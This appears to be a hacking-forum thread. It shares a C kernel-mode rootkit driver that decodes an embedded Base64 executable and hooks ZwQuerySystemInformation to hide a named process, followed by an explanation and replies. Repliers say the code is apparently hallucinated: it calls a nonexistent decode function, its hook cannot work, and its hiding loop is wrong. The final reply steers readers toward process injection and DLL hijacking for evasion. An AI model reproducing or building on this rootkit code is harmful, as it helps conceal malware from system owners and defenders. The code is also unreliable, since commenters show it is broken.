Kernel-Mode Driver for Base64 Decoding and Process Hiding: A Study in System Call Hooking and Memory Management

[LadyCracker]

#include <ntddk.h>
#include <ntstrsafe.h>

// Define the function prototype for ZwQuerySystemInformation
typedef NTSTATUS (NTAPI *ZwQuerySystemInformation_t)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

// Original system function to query system information
ZwQuerySystemInformation_t OriginalZwQuerySystemInformation = NULL;

// Base64 string of the executable (you would replace this with your actual base64 string)
const char* base64ExeString = "YOUR_BASE64_STRING_HERE";

// Function to decode Base64 string
NTSTATUS Base64Decode(const char* base64, PVOID* outBuffer, PULONG outSize) {
    ULONG length = 0;
    UCHAR* decodedData = NULL;
    NTSTATUS status = RtlDecodeBase64String(base64, &length, NULL);

    if (NT_SUCCESS(status)) {
        decodedData = (UCHAR*)ExAllocatePool(NonPagedPool, length);
        if (decodedData) {
            status = RtlDecodeBase64String(base64, &length, decodedData);
            if (NT_SUCCESS(status)) {
                *outBuffer = decodedData;
                *outSize = length;
            } else {
                ExFreePool(decodedData);
            }
        } else {
            status = STATUS_INSUFFICIENT_RESOURCES;
        }
    }
    return status;
}

// Function to load the decoded executable into memory
NTSTATUS LoadExeFromMemory(PVOID buffer, ULONG size) {
    // In a real-world scenario, you would use functions like
    // ZwCreateSection, ZwMapViewOfSection, and ZwCreateProcess
    // to execute the code directly from memory. This part is left
    // abstract as it involves complex kernel-mode operations.
    DbgPrint("Loaded executable into memory with size: %d\n", size);
    return STATUS_SUCCESS;
}

// Hooked ZwQuerySystemInformation to hide the process
NTSTATUS NTAPI HookedZwQuerySystemInformation(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
) {
    NTSTATUS status = OriginalZwQuerySystemInformation(
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength
    );

    if (status == STATUS_SUCCESS) {
        SYSTEM_PROCESS_INFORMATION* info = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
      
        // Iterate through processes and hide the target process (e.g., "hidden_process.exe")
        while (info->NextEntryOffset) {
            if (wcscmp(info->ImageName.Buffer, L"hidden_process.exe") == 0) {
                // Skip this process, effectively hiding it
                info->NextEntryOffset = 0;
            }
            info = (SYSTEM_PROCESS_INFORMATION*)((PUCHAR)info + info->NextEntryOffset);
        }
    }

    return status;
}

// Driver unload function
void DriverUnload(PDRIVER_OBJECT pDriverObject) {
    // Restore the original system call
    if (OriginalZwQuerySystemInformation) {
        InterlockedExchangePointer(
            (PVOID*)&ZwQuerySystemInformation,
            (PVOID)OriginalZwQuerySystemInformation
        );
    }

    DbgPrint("Driver unloaded\n");
}

// Driver entry function
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) {
    PVOID exeBuffer = NULL;
    ULONG exeSize = 0;
    NTSTATUS status = Base64Decode(base64ExeString, &exeBuffer, &exeSize);

    if (NT_SUCCESS(status)) {
        DbgPrint("Base64 decoded successfully. Size: %d bytes\n", exeSize);
      
        // Load and execute the decoded executable in memory
        status = LoadExeFromMemory(exeBuffer, exeSize);
      
        if (!NT_SUCCESS(status)) {
            DbgPrint("Failed to load executable from memory.\n");
        }
    } else {
        DbgPrint("Base64 decoding failed. Status: 0x%x\n", status);
    }

    // Hook the system call for process listing (ZwQuerySystemInformation)
    OriginalZwQuerySystemInformation = (ZwQuerySystemInformation_t)ZwQuerySystemInformation;
    ZwQuerySystemInformation = HookedZwQuerySystemInformation;

    pDriverObject->DriverUnload = DriverUnload;

    DbgPrint("Driver loaded\n");

    return STATUS_SUCCESS;
}

This code is a Windows Kernel-mode driver that attempts to implement two primary functionalities:

1. Decoding and Loading a Base64-Encoded Executable: The driver decodes a Base64 string representing an executable file and tries to load it into memory for execution.
2. Hiding a Process: The driver hooks the ZwQuerySystemInformation function to modify the output of process information queries, effectively hiding a specific process (hidden_process.exe).

Let’s break it down step by step:

---

1. Defining and Hooking ZwQuerySystemInformation​

• ZwQuerySystemInformation_t is defined as a typedef for the ZwQuerySystemInformation function, which is a system call used to retrieve various system information, including the list of running processes.
• OriginalZwQuerySystemInformation is a pointer that stores the original function to preserve its functionality after the hook.

---

2. Base64 Decoding​

The function Base64Decode handles the decoding of the Base64 string:

• It uses RtlDecodeBase64String to decode the Base64 string into its binary form.
• If successful, the decoded data is stored in memory allocated using ExAllocatePool (a kernel-mode memory allocator), and the size of the decoded data is returned.

Use Case: The Base64 string (base64ExeString) is expected to represent the binary data of an executable file. The decoded data will later be used for execution.

---

3. Loading the Decoded Executable​

The LoadExeFromMemory function:

• Simulates loading the decoded executable into memory.
• In this code, the functionality is abstract and does not implement the actual execution of the binary.
• Normally, loading and executing an executable from memory in kernel mode would involve complex steps like creating a process, mapping the binary into its address space, and invoking the entry point.

Note: Loading and running executables from kernel mode is highly risky and can lead to system instability or security vulnerabilities.

---

4. Hooking ZwQuerySystemInformation​

• The function HookedZwQuerySystemInformation intercepts calls to ZwQuerySystemInformation:
  
  1. It calls the original ZwQuerySystemInformation function to retrieve the process list.
  2. It iterates through the SYSTEM_PROCESS_INFORMATION structure, which contains information about all processes.
  3. It checks the ImageName field of each process. If it matches hidden_process.exe, the driver modifies the structure to exclude this process.

Effect: This effectively "hides" the process from tools like Task Manager or other process enumerators that rely on ZwQuerySystemInformation.

---

5. Driver Entry and Unload​

• Driver Entry (DriverEntry):
  
  • The driver decodes the Base64 string, loads the executable, and hooks ZwQuerySystemInformation by replacing its pointer in the system service table with HookedZwQuerySystemInformation.
  • It sets up DriverUnload to restore the original system call when the driver is unloaded.
• Driver Unload (DriverUnload):
  
  • Restores the original ZwQuerySystemInformation function to avoid leaving the system in an unstable state.

---

Summary of Operations​

1. Decode Base64 String: Convert Base64 into binary data (potentially an executable).
2. Load Executable into Memory: Prepare the decoded binary for execution (not fully implemented).
3. Hook System Call: Replace ZwQuerySystemInformation with a custom function to hide specific processes.
4. Restore State on Unload: Revert modifications to maintain system integrity when the driver is unloaded.

---

Notes on Risks and Ethics​

• Kernel-Mode Risks: Writing and installing kernel-mode drivers is inherently risky. Bugs can crash the system (BSOD) or compromise security.
• Malicious Use: Modifying system calls to hide processes is often associated with rootkits, which are used for malicious purposes.
• Legal and Ethical Implications: Writing, testing, or deploying such code may violate laws or ethical guidelines depending on the context.

 

[minerva]

ZwQuerySystemInformation кроме это есть и другие способы узнать о том что существует процесс в системе.
Не сочти за критику, но почему-то кажется что LoadExeFromMemory не до конца реализована.
А так в целом нормик.

 

[LadyCracker]

ZwQuerySystemInformation кроме это есть и другие способы узнать о том что существует процесс в системе.
Не сочти за критику, но почему-то кажется что LoadExeFromMemory не до конца реализована.
А так в целом нормик.

Да, вы правильно догадались, это общий код для образовательных целей.

 

[Roller]

and hooks ZwQuerySystemInformation by replacing its pointer in the system service table with HookedZwQuerySystemInformation.

Всё отлично кроме того, что такой способ перехвата будет работать только на системах х32, поскольку на х64 сторожа типа PatchGuard не позволят трогать записи в SSDT.

 

[DildoFagins]

Что-то мне подсказывает, что этот пост состоит из галлюцинаций ChatGPT. Что за RtlDecodeBase64String? Такая функция вообще существует? Что за хук такой через InterlockExchangePointer? Тут нужен сплайсинг или модификация SSDT, но да, патчгард моментально выебет и высушит этот дров.

 

[Apocalypse]

Чел из 2003 походу, ну какие дрова для сокрытия процесса, ну какие патчи ядра, мс вообще хочет ещё больше ограничить левые дрова после криворуких выебонов кровдстрайка. Есть же инжекты в доверенные процессы из юзермода, православные и богоугодные, ну хайджекинг длл там на крайняк, а не вот это вот всё.